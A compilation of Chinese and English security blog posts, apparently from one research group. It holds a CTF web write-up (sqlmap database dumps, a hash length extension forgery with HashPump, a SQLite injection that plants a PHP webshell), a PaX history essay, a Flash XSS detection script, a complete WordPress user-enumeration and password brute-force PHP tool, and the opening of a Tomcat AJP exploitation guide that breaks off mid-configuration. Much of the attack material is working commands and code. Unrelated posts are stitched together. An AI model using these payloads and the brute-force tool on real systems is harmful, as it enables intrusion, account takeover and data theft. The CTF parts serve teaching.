现在我们确认了sqlmap和burp都正确配置了,接下来就可以把库拖下来了。

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id
­­current­db
current database:    'cysca'

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­­tables
Database: cysca

#> sqlmap ­r /root/sql­web3­headers
[5 tables]
+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­---------------------------------------+
| user                                  |
| blogs                                 |
| comments                              |
| flag                                  |
| rest_api_log                          |
+­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­­---------------------------------------+

#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­T flag ­­dump
[1 entry]
+­­­­­­­­­­­­­­­­­­­­­­----------------------+
| flag                 |
+­­­­­­­­­­­­­­­­­­­­­­----------------------+
| CeramicDrunkSound667 |
+­­­­­­­­­­­­­­­­­­­­­­----------------------+

第四题:Hypertextension

说明:
在缓存控制面板里面找到flag。

解题:
控制面板是REST API的形式,在说明文档里面写了这个API有添加文件名然后读取文件内容的功能,也许我们能用这个功能来读取PHP源码?

首先需要找到API key,在上一题里似乎数据库中有个表名叫rest_api_log,我们用SQLMAP把表拖下来看看:


#> sqlmap ­r /root/sql­web3­headers ­­proxy=http://localhost:8080 ­p comment_id ­D
cysca ­T rest_api_log ­­dump
Database: cysca
Table: rest_api_log
[4 entries]

| id | method | params
| api_key          | created_on          | request_uri                 |

| 1  | POST   |
contenttype=application%2Fpdf&filepath=.%2Fdocuments%2FTop_4_Mitigations.pdf&api_s
ig=235aca08775a2070642013200d70097a             | b32GjABvSf1Eiqry | 2014­02­21
09:27:20 | \\/api\\/documents          |
| 2  | GET    | _url=%2Fdocuments&id=2
| NULL             | 2014­02­21 11:47:01 | \\/api\\/documents\\/id\\/2 |
| 3  | POST   |
contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest­api.txt&api_sig=95a0e7dbe06
fb7b77b6a1980e2d0ad7d                           | b32GjABvSf1Eiqry | 2014­02­21
11:54:31 | \\/api\\/documents          |
| 4  | PUT    |
_url=%2Fdocuments&id=3&contenttype=text%2Fplain&filepath=.%2Fdocuments%2Frest­api­
v2.txt&api_sig=6854c04381284dac9970625820a8d32b | b32GjABvSf1Eiqry | 2014­02­21
12:07:43 | \\/api\\/documents\\/id\\/3 |

利用里面的其中一条,放到curl里面测试一下,根据REST API的文档,curl命令应该是这样的:

#> curl ­X PUT ­d
'contenttype=text/plain&filepath=./documents/rest­api­v2.txt&api_sig=6854c04381284
dac9970625820a8d32b' ­H 'X­Auth: b32GjABvSf1Eiqry'

http://172.16.1.80/api/documents/id/3

根据文档,api_sig的值是在php里面生成的:

hashlib.md5(secret+’contenttypetext/plainfilepath./documents/rest­api­v2.txtid3′).
hexdigest()

secret作为双方都共享的值,后面加上目标文件的路径,生成的md5 hash作为api签名,在不知道secret的情况下,似乎无法利用任意路径生成合法的签名。

但是真的是这样么?
几年前著名应用 Flickr曾经因为Hash签名使用方法不正确结果掉进了很大的坑里,那就是 Hash长度扩展攻击(Hash length extension attack),导致可以在不知道API secret的情况下伪造任意请求。
关于Flickr的坑请看这里:

http://netifera.com/research/flickr_api_signature_forgery.pdf

Hash长度扩展攻击能够实现是因为 foo=bar 和 fo=obar 会产生一样的hash签名,所以我们可以生成一个可以让我们在原参数后面添加新参数,并且签名还是可以通过检验的。

比如这个请求:

“contenttype=text/plain&filepath=./documents/rest­api­v2.txt”

如果我们把它改成:

“c=ontenttypetext/plain&filepath=./documents/rest­api­v2.txt&contenttype=text/plai
n&filepath=./index.php”

那么在计算hash的时候字符串就会变成这样:
SECRETcontenttypetext/plainfilepath=./documents/rest­api­v2.txtcontenttype=text/p
lainfilepath=./index.phpid3

因为数据在被hash的时候会被分割成固定长度的块,前面的块生成的hash会放入下一个块中和块的内容一起继续hash,直到最后一个块,最后一个块生成的hash就是我们最后得到的hash,也就是前面的api_sig。

现在我们知道了前面所有块产生的hash,如果我们自己再造一个块,把这个hash当成前面的块的hash放进我们自己建立的块中来hash一下会发生什么?

结果我们在不知道secret的情况下获得了可以在原文后添加任意内容并且产生合法hash的方法。

大部分web server在处理同样参数的不同内容时倾向于选择后面的,例如foo=1&foo=2,最后foo的值是2,
但是有些web server也会使用前面的,这样这个方法是不是就不能用了?

根据这个API的文档,参数和值会拼接在一起然后一起hash,例如,foo=bar&foo1=bar1会被变成字符串foobarfoo1bar1,所以假如我们把foo=bar变成fo=obar,拼接后的字符串还是foobarfoo1bar,这样我们就可以完全控制需要更改的参数了。

现在开始利用这个漏洞,首先下载并且编译工具 HashPump (https://github.com/bwall/HashPump),然后利用它来生成我们需要的hash。因为我们不知道secret的长度,所以需要穷举key的长度(hashpump的k参数)

#> ./hashpump ­s 6854c04381284dac9970625820a8d32b ­­data
contenttypetext/plainfilepath./documents/rest­api­v2.txtid3 ­a
contenttypetext/plainfilepath./index.phpid3 ­k 16
4625e458d07cb19da70effa3d1c6dc14
contenttypetext/plainfilepath./documents/rest­api­v2.txtid3\x80\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00X\x02\x
00\x00\x00\x00\x00\x00contenttypetext/plainfilepath./index.phpid3

我们把每次尝试k值生成的hash和字符串用curl提交到服务器,直到服务器提示成功为止,经过多次测试,我们发现k值是16.

#> curl ­-X PUT -­d
'c=ontenttypetext/plainfilepath./documents/rest­api­v2.txtid3%80%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%
00%00%00%00%00%00%00%00%00%00%00X%02%00%00%00%00%00%00&contenttype=text/plain&file
path=./index.php&api_sig=4625e458d07cb19da70effa3d1c6dc14'  ­H 'X­Auth:
b32GjABvSf1Eiqry' http://172.16.1.80/api/documents/id/3

接下来我们就成功获取了index.php的源码(成功的把index.php的源码作为document id 3 保存):

#> curl http://172.16.1.80/api/documents/id/3
<?php
// Not in production... see /cache.php?access=<secret>
include('../lib/caching.php');
if (isset($_GET['debug'])) {
readFromCache();
}
**** SNIP ****

似乎这个cache.php有点意思,我们改改上面的hash长度攻击利用代码,把index.php换成cache.php,这次我们成功的拿到了flag。

#> curl http://172.16.1.80/api/documents/id/3
**** SNIP ****
$flag = 'OrganicPamperSenator877';
if ($_GET['access'] != md5($flag)) {
header('Location: /index.php');
die();
}
**** SNIP ****

第五题:注入空间 Injeption

说明:
Web篇最后的flag藏在 /flag.txt里,你能拿到么?

解题:
上一题cache.php里面的源码最后写了,提交的参数access的值必须是上一题flag的md5,浏览器打开cache.php?access=f4fa5dc42fd0b12a098fcc218059e061 显示的是一个很简单的表单,表单提交了两个参数,URI和标题,在cache.php里面对这两个参数严格检查,比如URI参数前面必须是http://开头,服务器必须是本地,然后这个URI必须真实存在,不能是404.
标题被限制在40字符以内,但是不会过滤引号,似乎可以被注入。
我们尝试在标题里提交 /* ,返回了错误信息:

near "/*', '59ab7c9e3917a154ff56a43d08a262ab',
'http%3A%2F%2F172.16.1.80%2Findex.php', '...', datetime('now'))": syntax error

熟悉的SQL显错注入,根据错误信息,后端数据库似乎是SQLite,通过查看lib/caching.php的源码我们可以确认这一点,通过源码我们还可以看出,URI所指向的页面内容被直接存进了数据库中。

考虑到40个字符的限制不能进行任何有利用价值的SQL注入,我们需要找到一个可以注入长字符串的方法,页面内容输出缓存的功能现在派上用场了。

幸运的是,我们可以控制并且注入没转义过的单引号到缓存页面,并且把缓存页面自己缓存了,把在标题中的几个较短的注入语句拼接在一起,一个完整的注入语句就能在缓存页面被存入数据库的时候执行。

这里有个很好用的SQLite注入 cheat sheet,可以直接通过注入拿shell!

http://atta.cked.me/home/sqlite3injectioncheatsheet

我们的目标是利用这段注入语句拿到shell:

',0); ATTACH DATABASE 'a.php' AS a; CREATE TABLE a.b (c text); INSERT INTO a.b
VALUES ('<? system($_GET[''cmd'']); ?>');/*

我们如何用40个字符的长度注入122字符的SQL语句? SQL块注释!

这需要一些额外的转义并且把php的拼接指令’||’分开:

'',0);ATTACH DATABASE ''a.php'' AS a;/*
*/CREATE TABLE a.b (c text);INSERT /*
*/INTO a.b VALUES(''<? system($''||/*  */''_GET[''''cmd'''']); ?>'');/*

当这些标题一个个出现在缓存页面中的时候,我们把缓存页面给缓存了,我们的注入语句就被执行了,并且生成了webshell a.php

我们现在就可以在服务器上执行任意指令了! 比如 cat /flag.txt

#> curl http://172.16.1.80/a.php?cmd=cat+/flag.txt
CFlag: TryingCrampFibrous963

Web篇完结。

PaX的技术考古之旅

[sth0r@shawn-fortress]$ uname -a
Linux shawn-fortress 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali8 i686 GNU/Linux

|=—————————————————————————=|
|=——————-=[ I N S I G H T L A B S ]=——————=|
|=—————————————————————————=|
|=———————=[ PaX的技术考古之旅 ]=—————–=|
|=—————————————————————————=|
|=——————-=[ By Shawn the R0ck ]=——————–=|
|=—————————————————————————=|
|=———————–=[ July 18 2014 ]=————————–=|
|=—————————————————————————=|

–[ CONTENTS

0. What is Grsecurity/PaX

0.1 The origins of PaX

1. PaX talking about the *future* in 2003

1.1 VMA mirroring is the fuc*ing key

2. Exodus of Old School hackers

3. Reference

–[ 0. 什么是Grsecurity/PaX?

PaX是针对linux kernel的一个加固版本的补丁,它让linux内核的内存页受限于
最小权限原则,是这个星球上有史以来最极端和最优秀的防御系统级别0day的方
案,第1版的设计和实现诞生于2000年,那可是一个没有
ASLR/RELRO/NX/CANARY/FORITY/PIE都没有的年代,这些今天意义上的现代
mitigation技术不管是linux/windows/macosx都多少抄袭和模仿了PaX的设计和实
现,但有很多朋友会问:既然这东东这么厉害,为什么不在linux mainline里?
当年Linux内核不收PaX进入upstream是因为很多人觉得PaX不是那么的好维护,之
后linux内核推出了LSM( Linux Security Module),LSM利用了一堆CAPABILITY的
机制提供了一些限制用户态程序访问控制的接口,SELinux和Apparmor就是基于
LSM开发的,注意LSM并不是一个传统意义上的linux kernel module,至少在2个
地方不同于普通module:

1) 必须在bootloader启动内核时启动,不能在内核加载完后启动。
2) 不能同时启动2个LSM的实现。

但PaX Team是一群old school security hackers,他们认为LSM打破了
“security as a whole”的哲学,所以宁愿单独维护一个patch,一直到今天。其
实当人们谈到Gnu/Linux安全性比windows/OSX更好时,其实未必,至少linux内核
社区并没有把安全性放在首位,Linus Torvalds从来都不是太care安全问题,不
是吗?

当我们谈到PaX时都会写Grsecurity/PaX,这是怎么回事呢?PaX从一开始就主要
关注如何防御和检测memory corruption,后来Grsecurity社区发现PaX和他们所
关注的非常类似,所以就合并了,在很长的一段时间里PaX主要关注memory
corruption,而Grsecurity则实现其他的功能包括RBAC,但到最近2个社区的工作
开始模糊了:包括USERCOPY, STACKLEAK, RANDSTRUCT, etc..都是整个
Grsecurity/PaX共同实现的特性。

—-[ 0.1 PaX的诞生

这个section描述的是这篇“过时”的论文[5],这是PaX的Genesis,1999年7月的
plex86社区[4](old school虚拟化社区之一)打算验证一个概念,当时Pentium(包
括P6family)处理器新增加了一个功能,就是CPU把TLB区分为DTLB(数据TLB)和
ITLB(指令TLB),TLB主要是PTE( page table entries)的缓存,因此存放着
user/kernel spaces的访问权限信息,在正常的情况下,ITLB和DTLB entries从
相同的PTE里读出相同的状态,但如果状态有所改变的话也就意味着可以把数据读
写和代码执行分开,如果这个POC能成功也就意味着可以对抗缓冲区溢出的最佳方
案,这个成为了今天的NX=>要么可读写要么可执行。

在PaX的初始设计文档中经过了对PTE中的2个flags的分析:

Present位,如果设置1,指向的page(或者page table)是存在于内存里的;如果
设置为0,page没有在内存里和保存的入口位(bits)可能会被OS用作其他用途。如
果page table或者page directory的入口需要执行地址转换(线性地址到物理地
址)时Present位被清0,会产生一个异常:page fault异常。

U/S位,权限管理,U->user space, S->kernel space

关于ITLB和DTLB的状态之间的转换这篇paper里已经有非常详细的描述,这里就不
多阐述了,linux内核的实现问题,虚拟内存管理的主要结构是vm_area_struct,
主要是描述连续的线性地址的一些属性包括
READ/WRITE/EXECUTE/SHARED/PRIVATE等,里面有2个结构体成员需要关注:
vm_flags,vm_page_prot。PaX在出现page fault的时候多增加了一些动作包括模
拟page table entry里的可访问U标志位和在模拟PTE中检查访问权限。

PaX的第一版的副作用也不小,
1,用户态可执行的栈是不可能的
2,性能损耗在5%–8%

old school社区plex86在1999年的一个概念验证建立了后来NX(目前是硬件支持)
的基础,个人觉得最有意思的地方是防御缓冲区溢出利用最早的策略是基于对于
TLB的研究导致的,这听起来怎么那么像emerging property, Out of C0ntrol?
KK? Ring the bell?

–[ 1. 2003年PaX谈”未来”

PaX在2003年的时候开始思考如何在未来[6](2003以后)在根本上根除漏洞利用,PaX
对于W-xor-X的实现非常奏效,具体在原始设计文档[7]里已经有所描述。

从defensive的平面来看,当时GNU/Linux平台主要依赖PaX的patch来进行加固(包
括ASLR),ASLR和NX进入linux内核mainstream是后来的事情,OpenBSD和Windows
XP SP2和OSX 10.5也加入了NX,但都是抄袭PaX的设计(或许也包括实现),

从offensive的平面来看,2003年的背景是stack-based overflow和string
format vuln已经泛滥,但ROP还没有大规模的流行,但old school社区对于ROP的
研究已经有相当的研究,包括Solar Designer在1997年发到bugtraq里的讨论:

http://seclists.org/bugtraq/1997/Aug/63

之后更精彩的paper是在2001年Phrack Issue 58里面:

http://phrack.org/archives/issues/58/4.txt

注意:2003年时SK的那篇Borrowed code chunks还没有发布。

2003年,PaX team认为会导致漏洞利用的bug给予了攻击者(区分攻击者和黑客是
不同的term)在3个不同层面上访问被攻击的进程:

(1) 执行任意代码
(2) 执行现有代码但打破了原有的执行顺序
(3) 原有的执行顺序执行现有代码,但加载任意数据

NOEXEC( Non-executable pages)和MPROTECT(mmap/mprotect)能防御(1),但有一
种情况是例外:如果攻击者能创建和写入一个文件然后mmap()到被攻击的进程空
间里,这样可以执行任意的代码。

ASLR在一定程度上降低了(1),(2),(3)的风险,但如果内核有信息泄露的bug例外。
PaX team在当时就认为把内核当成可信计算( Trusted Computing)的基础是一件
可笑的事情,因为内核跟用户空间一样容易遭受各种攻击。所以他们认为”未来”
需要做一些事情(注:这些事情今天都已经搞定):

(a) 尝试处理(1)不能处理的那个例外情况
(b) 实现所有可能在内核态自己的防御机制
(c) 为(2)实现确定性( deterministic)防护,可能也为(3)实现类似的机制
(d) 为(2)实现概率行( probalilistic)防护以实现阻止信息泄露

———————————————————-
处理(a)更好的解决方案是使用访问控制和可信路径执行来限制,Grsecurity的今
天就是这么做的
———————————————————

之后这篇文档里详细的罗列了针对(a)(b)(c)(d)需要去实现的加固方案。在下面
其实已经能看出一些后来出现的mitigation技术:Stack Canary, RELRO,
pointer constant/encryption?…可以参考:

https://raw.githubusercontent.com/citypw/security-regression-testing-for-suse/master/other/vulns_hardening_assessment.log

—-[ 1.1 2003年PaX里vma mirroring的设计

在2003年的晚些时候PaX实现了虚拟内存空间的镜像( vma mirroring)[8],vma
mirroring的目的是为了在一组物理页上做特殊文件隐射时有2个不同的线性地址,
这2个地址即使在swap-out/swap-in或者COW后依然是不会改变的。这样做的目的
为了满足几种场景:

1,把可执行的区域在使用SEGMEXEC隐射进入代码段。在32-bit的linux内核里的
4GB地址空间是其中3GB给用户空间,1GB给内核空间,而vma mirroring把用户空
间的3GB划分成了2个1.5GB分别是给代码段和数据段,在可执行区域里包含的数据
的部分(常量字符串,函数指针表等)都会mirroring到数据段里。

2,实现可执行区域的地址随机化( RANDEXEC)。

3,这个引出了第3种情况,就是SEGMEXEC和RANDEXEC同时激活,个人觉得这个的
效果应该和PIE+ASLR的效果类似,不同的不是整个elf binary的代码段随机化,
而是在mirroring时对代码段和数据段进行随机化。

之后这篇文章开始聊到实现的问题,对于一个普通的用户态binary在执行后,内
核得做一系列的工作,fs/binfmt_elf.c里的load_elf_binary()负责进程地址空
间的一些基本的映射包括stack,动态连接器和binary本身。而文件的映射是通过
elf_map()调用do_mmap()完成的。用户态binary的第1条指令从ld.so或者binary
自己fetch到后会raise一个page fault,linux内核内存管理是按需分配内存的,
所以在binary刚执行时是没有建立有效的物理映射的。x86架构的page fault
handler在arch/i386/mm/fault.c文件里的do_page_fault()去找到vma结构体,
VMA里包含了物理页的数据(ELF文件里的代码段, etc)。

当时的PaX的做法大致是这样的,vma mirror是根据已经内存映射mmap()后的地址,
用户态通过mmap()是无法直接去做vma mirror请求的,所有的mmap()请求多会经
过include/linux/mm.h的do_map(),PaX扩展( SEGMEXEC)也是在这个地方处理,
原始内核通过调用do_mmap_pgoff()来调用do_mmap(),PaX在这里为了确保
SEGMEXEC能知道来自用户态和内核态的原生文件映射请求所以略过
do_mmap_pgoff()而直接调用do_mmap(),而vma mirror请求使用一些特殊参数传
递给do_mmap_pgoff():

‘file’ 必须是NULL,因为mirror会引用相同文件的vma作为镜像
‘addr’ 正常使用
‘len’ 必须是0
‘prot’ 正常使用
‘flags’ 正常使用,除了一种情况:指定MAP_MIRROR和只能指定private映射
‘pgoff’ 指定vma的线性起始地址作为镜像

文章给出了一个例子:

#cp /bin/cat /tmp/
#/tmp/cat /proc/self/maps

激活PaX的2个功能: SEGMEXEC, MPROTECT

[1] 08048000-0804a000 R-Xp 00000000 00:0b 1109 /tmp/cat
[2] 0804a000-0804b000 RW-p 00002000 00:0b 1109 /tmp/cat
[3] 0804b000-0804d000 RW-p 00000000 00:00 0
[4] 20000000-20015000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
[5] 20015000-20016000 RW-p 00014000 03:07 110818 /lib/ld-2.2.5.so
[6] 2001e000-20143000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so
[7] 20143000-20149000 RW-p 00125000 03:07 106687 /lib/libc-2.2.5.so
[8] 20149000-2014d000 RW-p 00000000 00:00 0
[9] 5fffe000-60000000 RW-p fffff000 00:00 0
[10] 68048000-6804a000 R-Xp 00000000 00:0b 1109 /tmp/cat
[11] 80000000-80015000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
[12] 8001e000-80143000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so

这个binary是一个动态连接的可执行程序,所以在执行时会映射其他的库文件。

[1] 这个binary文件/tmp/cat的第1个PT-LOAD段映射为有读和执行的权限,包含
了可执行的代码和只读的初始化后的数据。因为是可执行的所以被[10]镜像。

[2] 第2个PT_LOAD段,映射为读写权限,包含了可写的数据(所有初始化和没有初
始化的)

[3] brk()管理的堆,在运行时会根据malloc()/free()来调整大小

[4][5] 动态连接器

[6][7] C库 ,[4][6]被映射到了[11][12],因为他们是可执行的。

[8] 一个针对C库的初始化数据的匿名映射

[9] 一个匿名映射包含了stack。我们能观察到这个地址在用户空间的数据部分的
结束地址,开启SEGMEXEC后是TASK_SIZE/2。

[10][11][12] 分别映射可执行镜像[1][4][6]。

激活PaX的3个功能的情况: SEGMEXEC,RANDEXEC,MPROTECT

[1] 08048000-0804a000 R-Xp 00000000 00:0b 1109 /tmp/cat
[2] 0804a000-0804b000 RW-p 00002000 00:0b 1109 /tmp/cat
0804b000-0804d000 RW-p 00000000 00:00 0
[3] 20000000-20002000 ++-p 00000000 00:00 0
[4] 20002000-20003000 RW-p 00002000 00:0b 1109 /tmp/cat
20003000-20018000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
20018000-20019000 RW-p 00014000 03:07 110818 /lib/ld-2.2.5.so
20021000-20146000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so
20146000-2014c000 RW-p 00125000 03:07 106687 /lib/libc-2.2.5.so
2014c000-20150000 RW-p 00000000 00:00 0
[5] 5fffe000-60000000 RW-p 00000000 00:00 0
[6] 80000000-80002000 R-Xp 00000000 00:0b 1109 /tmp/cat
80003000-80018000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
80021000-80146000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so

RANDEXEC有一些改变,[3]成了第1个可执行的PT_LOAD段的匿名映射,[4]成为第
2个PT_LOAD段的的mirror,[2]和[4]有相同的页偏移值,文档说[1]被[6]给
mirror后是超出了TASK/SIZE/2的范围,但个人觉得这个地方是代码段的区域所以
必然是在1.5G以上(如果数据段在0-1.5G的话),还有就是在RANDUSTACK开启后由
于stack的第1部分不能关闭随机化,所以多比第1个例子多占了1个page,这个怎
么得出的呢?靠我真不知道,可能是fffff000 xor ffffffff = fff来的?

激活PaX的3个功能的情况: PAGEEXEC, RANDEXEC, MPROTECT

[1] 08048000-0804a000 R–p 00000000 00:0b 1109 /tmp/cat
[2] 0804a000-0804b000 RW-p 00002000 00:0b 1109 /tmp/cat
0804b000-0804d000 RW-p 00000000 00:00 0
[3] 40000000-40002000 R-Xp 00000000 00:0b 1109 /tmp/cat
[4] 40002000-40003000 RW-p 00002000 00:0b 1109 /tmp/cat
40003000-40018000 R-Xp 00000000 03:07 110818 /lib/ld-2.2.5.so
40018000-40019000 RW-p 00014000 03:07 110818 /lib/ld-2.2.5.so
40021000-40146000 R-Xp 00000000 03:07 106687 /lib/libc-2.2.5.so
40146000-4014c000 RW-p 00125000 03:07 106687 /lib/libc-2.2.5.so
4014c000-40150000 RW-p 00000000 00:00 0
bfffe000-c0000000 RW-p fffff000 00:00 0

最后的这种情况是vma mirroring所产生最简单的内存layout,只有binary本生被
镜像了,[1]被[3],[2]被[4]镜像了。注意[1]没有R-X权限了,在PAGEEXEC下只
有R–。

虽然现在的PaX实现肯定不是这个设计的版本,但读读原始的paper会有一些意想
不到的收获,也算技术进化考古的过程了;-)

–[ 2. Old School黑客的出埃及记

Grsecurity/PaX目前应用广泛,特别是具有高安全性的环境,Gnu/Linux发行版里
Gentoo提供PaX作为加固选项,最近半年Debian社区发起的对抗大规模监控的加固
项目Mempo在内核中也使用了Grsecurity/PaX。

这篇文章仅仅是在学习PaX的3篇paper里的记录,PaX的思路的确非常的震撼,那
都是10多年前的设计和实现,在这个一天云计算一天雾计算的年代,虽然关注本
质的黑客越来越少,但地下精神并未死去,PaX Team就是一个活生生的例证,相
反,不少old school黑客都坚信其实old school的数量并没有减少,至少我个人
相信这是真的…Phrack没死,Grsecurity/PaX没死,DNFWAH也没死,希望更多的
黑客分享自己的hacking之旅。

Phrack is not dead, Grsecurity/PaX is not dead, DNFWAH is not dead,
The Underground spirit is not dead…..If they were, that’d be on us!

=——————————————————————————-=

To one of the most respected old school communities:
Grsecurity/PaX. We/I salute you!!!

–[ 3. Reference

[1] The Case For grsecurity

https://grsecurity.net/the_case_for_grsecurity.pdf

[2] “Which is better, grsecurity or SELinux?”

https://grsecurity.net/compare.php

[3] Linux Security in 10 Years

https://grsecurity.net/spender_summit.pdf

[4] plex86

http://www.plex86.org/

[5] the original design & implementation of PAGEEXEC

https://pax.grsecurity.net/docs/pageexec.old.txt

[6] PaX future

https://pax.grsecurity.net/docs/pax-future.txt

[7] PAGEEXEC

https://pax.grsecurity.net/docs/pageexec.old.txt

[8] VMA mirroring

https://pax.grsecurity.net/docs/vmmirror.txt

[9] Mempo

http://mempo.org/

Automatically uncover XSS inside Flash

Author:piaca

0x00 Briefing


Nearly everyone has their own methods to uncover XSS inside Flash, whether using automated tool such as swfscan or manually decompiling swf file then audit the action script, all have their problems, for example:

  • Automated tools are often static code analzers which comes with high false positives, requires lots of manual inspection and confirmation.
  • Manual code audit has the best effects, but also the most exhausting.

In this article we will discuss a method to dynamically analysis the XSS vulnerabilities in Flash, it has its own advantages but also has some quite obvious disadvantages.

0x01 Theory


Dynamic analysis is basically load the Flash plugin using a program, then load the flash itself, pass some inputs then capture the event and error messages from the flash plugin to see whether it is vulnerable to XSS. Take Firefox for instance:

fl1 Open http://test.com/xss.swf?alert=1 with FF, Flash executed JS and alert window poped.

fl2Access http://test.com/xss.swf?alert=1\” with FF, Flash returned error, you can see the error message from Flash in the FF console. At this point the method is clear:

  • Program calls Firefox
  • Firefox loads Flash plugin
  • Firefox accesses a crafted link ie, http://test.com/xss.swf?alert=1\”
  • Program captures error message or alert event
  • Based on error message or event to determine if there is XSS

0x02 How to proof


Now to really do this in an automated way, we cant really use Firefox, but another opensource webkit browser instead.
Let me introduce you CasperJS:

CasperJS is an open source navigation scripting & testing utility written in Javascript for the PhantomJS WebKit headless browser and SlimerJS (Gecko).

CasperJS currently supports two different engines, PhantomJS(webkit kernel) and SlimerJS(Gecko Kenel). Gecko kernel is also used in Firefox. From the CapserJS docs, we can load the flash plugin when using SlimerJS. Therefore we can use CasperJS to achieve this:
flash_detect.js

var casper = require('casper').create({
pageSettings: {
loadImages: true,
loadPlugins: true // load flash plugin
},
logLevel: "info",
verbose: false
});

casper.start('about:blank', function() {});

// catch alert
casper.on('remote.alert', function(message) {
this.echo('{"type": "alert", "msg":"' + message + '"}');
});

// catch page error info
casper.on('page.error', function(message, trace) {
this.echo('{"type": "error", "msg":"' + message + '"}');
});

var url = casper.cli.get(0);

casper.thenOpen(url, function() {
this.wait(2000, function(){}) // delay 2's
});

casper.run();

The code is simple, to access flash file using CapserJS, and capture the error messages and alert event. Please note that some Flash wont execute JS immediately after loaded, so normally we need to wait for 2 seconds.

0x03 Execution results

We load the flash file mentioned earlier using the code above and here are the results:

piaca at piaca in ~/source$ casperjs --engine=slimerjs flash_detect.js "http://test.com/xss.swf?alert=1"
{"type": "alert", "msg":"1"}

piaca at piaca in ~/source$ casperjs --engine=slimerjs flash_detect.js "http://test.com/xss.swf?alert=1\\\""
{"type": "error", "msg":"SyntaxError: missing ) after argument list"}

0x04 End note

We can automate the entire process by using a crawler to download all the flash files from the target website then test them in batch with this method, the results were good.

Although the current approach is good enough, to use it in a production environment, we still got some problems to solve:

Efficiency: Currently it’s single process single thread, SlimerJS also opens a GUI window which may slow down the process.

False positives: In this demo we didnt handle all the error messages, in the real environment there may be a lot of false positives.

Parameters: The parameters here are only what we saw, but how to get all the parameter names in a flash file?

One serious problem:
This script can only detect some simple XSS, if there are some filtering in the flash it may not work.

If you have any ideas please comment below. Thx

Translated by Anthr@X

关于QQ群大数据可视化查询

最新地址:

https://qqgroup.insight-labs.org

WordPress BruteForce Tool

Author: secdragon

I think in some pentesting situations someone who encountered latest version of wordpress and no more installed plugins that we could exploit, at the moment the other way we can try to brute-force approach.

In fact, We can enumerate username from /?author=, then try to guess the same username and password of accounts, If we don’t successful get results by brute-force and then continue to brute-force which is involve pass.txt under the directory, default is enumerated 10 users, you can modify by yourself.

Usage:
php wordpress.php http://www.test.com

<!--?php <br ?-->
set_time_limit(0);
$domain = $argv[1];

//enumerate username
for ($i=1; $i <= 10; $i++) {

    $url = $domain."/?author=".$i;
    $response = httprequest($url,0);
    if ($response == 404) {
        continue;
    }
    $pattern = "/author\/(.*)\/feed/";
    preg_match($pattern, $response, $name);
    $namearray[] = $name[1];
}

echo "totally got".count($namearray)."users\n";

echo "attempting same username&password:\n";

$crackname = crackpassword($namearray,"same");

$passwords = file("pass.txt");

echo "attempting weak password:\n";

if ($crackname) {
    $namearray = array_diff($namearray,$crackname);
}

crackpassword($namearray,$passwords);

function crackpassword($namearray,$passwords){
    global $domain;
    $crackname = "";
    foreach ($namearray as $name) {
        $url = $domain."/wp-login.php";
        if ($passwords == "same") {
            $post = "log=".urlencode($name)."&pwd=".urlencode($name)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
            $pos = strpos(httprequest($url,$post),'div id="login_error"');
            if ($pos === false) {
                echo "$name $name"."\n";
                $crackname[] = $name;
            }
        }else{
            foreach ($passwords as $pass) {
                $post = "log=".urlencode($name)."&pwd=".urlencode($pass)."&wp-submit=%E7%99%BB%E5%BD%95&redirect_to=".urlencode($domain)."%2Fwp-admin%2F&testcookie=1";
                $pos = strpos(httprequest($url,$post),'div id="login_error"');
                if ($pos === false) {
                    echo "$name $pass"."\n";
                }
            }
        }
    }
    return $crackname;
}

function httprequest($url,$post){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$url");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);

    if($post){
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
    }

    $output = curl_exec($ch);
    $httpcode = curl_getinfo($ch,CURLINFO_HTTP_CODE);
    curl_close($ch);

    if ($httpcode == 404) {
        return 404;
    }else{
        return $output;
    }
}
?>

Translated by Hip

How can I exploit on Tomcat with AJP protocol

Author:Mickey

Basically when we installed Tomcat that we saw installation wizard below screenshot, We usually deployed a WAR to tomcat almost used default port 8080, even though when port 8080 was blocked by firewall, do we still exploit?
In fact, the answers are definitely that we can explit via port 8009 of the AJP connector port, I will explain in detail below that we can deploy this WAR file.

图片1

My experimental environment:
192.168.0.102   Tomcat 7 virtual host, FW blocks port 8080
192.168.0.103   BT 5 for pentesting

First, we used nmap to portscan and our tests show that port 8009 was open on图片2
Apache is default installion on Backtrack 5, we just need to install mod-jk
root@mickey:~# apt-get install libapache2-mod-jk

My jk.conf of the configuration:

root@mickey:/etc/apache2/mods-available# cat jk.conf

# Update this path to match your conf directory location

JkWorkersFile /etc/apache2/jk_workers.properties

# Where to put jk logs

# Update this path to match your logs directory location

JkLogFile /var/log/apache2/mod_jk.log

# Set the jk log level [debug/error/info]

JkLogLevel info

# Select the log format

JkLogStampFormat "[%a %b %d %H:%M:%S %Y]"

# JkOptions indicate to send SSL KEY SIZE,

